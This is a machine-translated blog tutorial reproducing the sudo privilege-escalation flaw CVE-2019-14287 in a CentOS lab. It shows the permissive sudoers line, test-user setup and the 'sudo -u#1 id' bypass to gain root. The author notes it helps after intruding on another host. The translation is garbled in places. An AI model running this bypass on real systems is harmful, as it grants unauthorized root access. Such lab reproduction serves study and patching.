当前位置:网站首页>Cve-2019-14287 (sudo right raising)
Cve-2019-14287 (sudo right raising)
2022-06-23 04:52:00 【Ink mark vs. breeze】
Affected by Sudo edition
Version number < 1.8.28 Of Sudo All versions will be affected by this vulnerability .
Bug repair
Sudo v1.8.28 Version has fixed this vulnerability , Broad recommendations Linux As soon as possible, the user will manually sudo Update the package to the latest version .
Reappear CVE-2019-14287 Loophole
principle :Sudo The full name is "superuserdo”, It is Linux System management instruction , Allows users to switch environments without having to , Run applications or commands with the privileges of other users , Usually with root Run command as user , In order to reduce root User login and management time , At the same time, improve security , When in Linux When executing commands on the operating system , Only with permission or knowledge root password , Only ordinary users can use sudo Command to root Identity execution command .
Personal understanding :( To put it bluntly, it means , If you invade someone else's host , This vulnerability can be exploited , Upgrade permissions , No switching root, Because switching root You need to enter the password when you need to , With this vulnerability, you can skip this step , Get permission )
Then start practicing !
1. open contos7 liunx System
( How to install a virtual machine , No, it's too simple )

2. Deploy an environment that can implement the vulnerability
3. View version
command :sudo -V

4. Network information needs to be configured
command : vim /etc/sudoers

5. find root That's ok , stay root Add a command to the next line
command :test ALL=(ALL,!root) ALL
The first one here ALL On behalf of users can use our... Anywhere sudo( Simply speak , If every family has intelligent air conditioning , You can remotely operate your air conditioner at any place , That's why )
(ALL,!root) The meaning of this command is very simple , Except for root Other users cannot use sudo This command
the last one ALL Indicates that is allowed to execute

When the input is complete , Save and exit vim( If not here , Please study vim Use of commands )
6. Exploit loopholes
(1) So let's create one test user , And after creating the password, switch to test user
command ; newly build ;passwd test
Switch ;su test
useradd -m test
passwd test
(2) There's a problem

sudo -u#1 idTest The user does not have permission to use root Identity login
So how to solve it ?
Enter the command ;sudo -u#1 id( This is the embodiment of this loophole , In principle, we limit test Out-of-service root The order of , But through this loophole Successfully obtained root jurisdiction )
In this way, the problem can be solved
边栏推荐
- #18生成器函数的参数传递
- McKinsey: in 2021, the investment in quantum computing market grew strongly and the talent gap expanded
- 396. 矿场搭建
- Abnova fluorescent dye 555-c3 maleimide scheme
- laravel 8.4 路由问题,结尾处是编辑器左侧对照表,小白可看懂
- Current relay hdl-a/1-110vdc-1
- mysql json
- cadence中的焊盘和flash symbol
- Bootstrap drive, top switching power supply and Optocoupler
- Fundamentals of 3D mathematics [16] formulas for uniformly accelerated linear motion
猜你喜欢

Examples of corpus data processing cases (part of speech encoding, part of speech restoration)

2020:VL-BERT: Pre-training of generic visual-linguistic representation

PaddlePaddle模型服务化部署,重新启动pipeline后出现报错,trt报错

【图论】—— 二分图

【论文阅读】Semi-Supervised Learning with Ladder Networks

接收传来得文件并下载(简单用法)a标签

win10查看my.ini路径

Dpr-34v/v two position relay

重装Cadence16.3,失败与成功

Common concepts and terms in offline warehouse modeling
随机推荐
const理解之二
mysql json
Pta:7-67 friend is very simple 2016final
Precautions for running high-frequency and high-speed signal lines near PCB board - basic principles for high-frequency and high-speed signal design
Alkylation process test questions and simulation test in 2022
TS进阶之infer
C语言刷题随记 —— 自由落体的球
如何更好地组织最小 WEB API 代码结构
const理解之一
在PCB板边走高频高速信号线的注意事项–高频高速信号设计基本原则
ADR electronic transmission EDI solution of national adverse drug reaction monitoring center
Abnova 荧光染料 555-C3 马来酰亚胺方案
Pta:7-64 what day of the year is this day
8位全加器原理
#18生成器函数的参数传递
Pta:7-60 pet growth
Current relay jdl-1002a
Current relay hdl-a/1-110vdc-1
Pta:7-31 journal charges
OGNL Object-Graph Navigation Language